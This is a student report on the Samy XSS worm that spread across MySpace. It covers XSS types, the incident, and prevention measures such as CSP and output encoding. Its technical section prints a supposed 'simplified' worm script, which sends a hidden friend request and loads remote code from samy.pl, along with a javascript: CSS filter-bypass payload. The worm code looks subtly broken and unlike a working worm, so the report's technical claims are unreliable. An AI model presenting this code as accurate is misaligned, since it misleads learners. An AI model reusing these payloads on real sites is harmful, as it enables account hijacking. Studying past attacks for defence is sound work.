**Report on the Most Famous XSS Attack– The Samy Worm on**

**MySpace**

**Name : Manjeet Kumar**

**Roll Number / Class / Section :**

**Submission Date : 11th July 2025**

# **Introduction**

**Cross-Site Scripting (XSS)** is a common and dangerous web vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal session cookies, redirect users, manipulate DOM, and perform various harmful actions without the user's consent.

**There are three main types of XSS:**

**Reflected XSS :-** Reflected XSS occurs when input from a user is immediately returned by a web application without proper validation or escaping.

**Stored XSS :-** Stored XSS happens when the malicious script is permanently stored on the target server (e.g., in a database) and served to users.

**DOM-Based XSS :-** DOM-Based XSS exploits the client-side scripts to manipulate the DOM environment in a way that executes malicious code.  
  
The real-world consequences of XSS were most famously demonstrated through the Samy Worm attack on MySpace. This incident highlighted how even a seemingly harmless script could have devastating results when proper security mechanisms are not in place.

# **Case Study: The Samy Worm on MySpace**

**Who Created It?**  
The Samy Worm was created by Samy Kamkar, a security researcher and hacker.  
  
**What Was the Vulnerability?**  
The vulnerability exploited was a Stored XSS vulnerability on MySpace. The website failed to properly sanitize user-generated HTML and JavaScript content on profile pages.  
  
**How Did It Spread?**  
Once a user viewed a profile containing the worm, the JavaScript code automatically added Samy as a friend and copied the worm to their own profile. This created a self-replicating worm that spread exponentially across MySpace.  
  
**What Was the Payload?**  
The payload was a JavaScript snippet that added Samy Kamkar as a friend and displayed the phrase "but most of all, Samy is my hero" on the infected user's profile. It then replicated itself to spread further.  
  
**Impact on MySpace**  
Within 24 hours, over one million MySpace profiles were infected. MySpace was forced to shut down temporarily to resolve the issue.  
  
**Legal Actions Taken**  
Samy Kamkar was investigated by the U.S. Secret Service and charged under the Computer Fraud and Abuse Act (CFAA). He was banned from using the internet for several years as part of his sentence.

# **Technical Analysis**

**Code Used in the Samy Worm (Simplified):**

<script type="text/javascript">  
document.body.innerHTML += '<iframe src="http://www.myspace.com/index.cfm?fuseaction=invite.addfriend\_confirm&friendID=123456" style="display:none;"></iframe>';  
document.body.innerHTML += '<script src="http://samy.pl/worm.js"></script>';  
</script>

**This code:**  
- Automatically sent a friend request to Samy.  
- Loaded the worm from an external source.  
- Injected itself into the profile of every infected user.

**How MySpace’s Filters Failed**  
MySpace had filters in place to block tags like <script>, but Samy was able to bypass them using alternate encodings and non-script HTML attributes that executed JavaScript.

**Bypassing Sanitization**

For example, instead of using <script>, Samy used malformed tags and encoded characters to trick the filter:  
<div style="background:url('javascript:alert(1)')">Click</div>  
This was not detected and executed the code upon rendering.

# **Security Lessons Learned**

**How Platforms Should Prevent XSS**  
- Input should always be sanitized and validated.  
- Output should be encoded before rendering.  
- Scripts should be disallowed from untrusted user input.  
 **Modern Protections**  
- Content Security Policy (CSP): Restricts what content can be loaded and executed.  
- Contextual Output Encoding: Properly encode HTML, JavaScript, and URL contexts.  
- HTTPOnly and Secure Cookies: Prevent access to cookies via scripts.  
- Framework-based Templates: Use secure frameworks that handle escaping automatically (e.g., React, Angular).  
  
These mechanisms significantly reduce the chances of an XSS attack.

# **Conclusion**

The Samy Worm incident on MySpace remains a powerful case study in the impact of XSS vulnerabilities. It demonstrated how simple JavaScript, when unchecked, can result in large-scale breaches, affecting millions of users. This attack underscores the need for robust input sanitization, output encoding, and modern web application security practices.  
  
With evolving threats, it is crucial that developers adopt a security-first mindset, leverage modern protections like CSP, and follow secure coding standards. Understanding past attacks like the Samy Worm helps developers and organizations design systems that are more resilient and secure in today’s digital age.

# References

1. OWASP XSS Cheat Sheet:

<https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html>

1. Samy Kamkar’s website:

<https://samy.pl/myspace/>

1. Wikipedia:

<https://en.wikipedia.org/wiki/Samy_(computer_worm)>

1. Mozilla Developer XSS Guide:

<https://developer.mozilla.org/en-US/docs/Web/Security/XSS>

Cross-Site Scripting (XSS) continues to be a major concern for modern web applications. Despite advancements in web security technologies, the fundamental issues leading to XSS remain due to poor input validation and improper output encoding. Developers must be aware of the potential damage these vulnerabilities can cause and should actively test their applications for XSS vectors using tools like OWASP ZAP and Burp Suite.  
  
Educating users and developers alike is key. Organizations should enforce secure coding practices, regular security audits, and conduct awareness training to ensure the risk of XSS is minimized.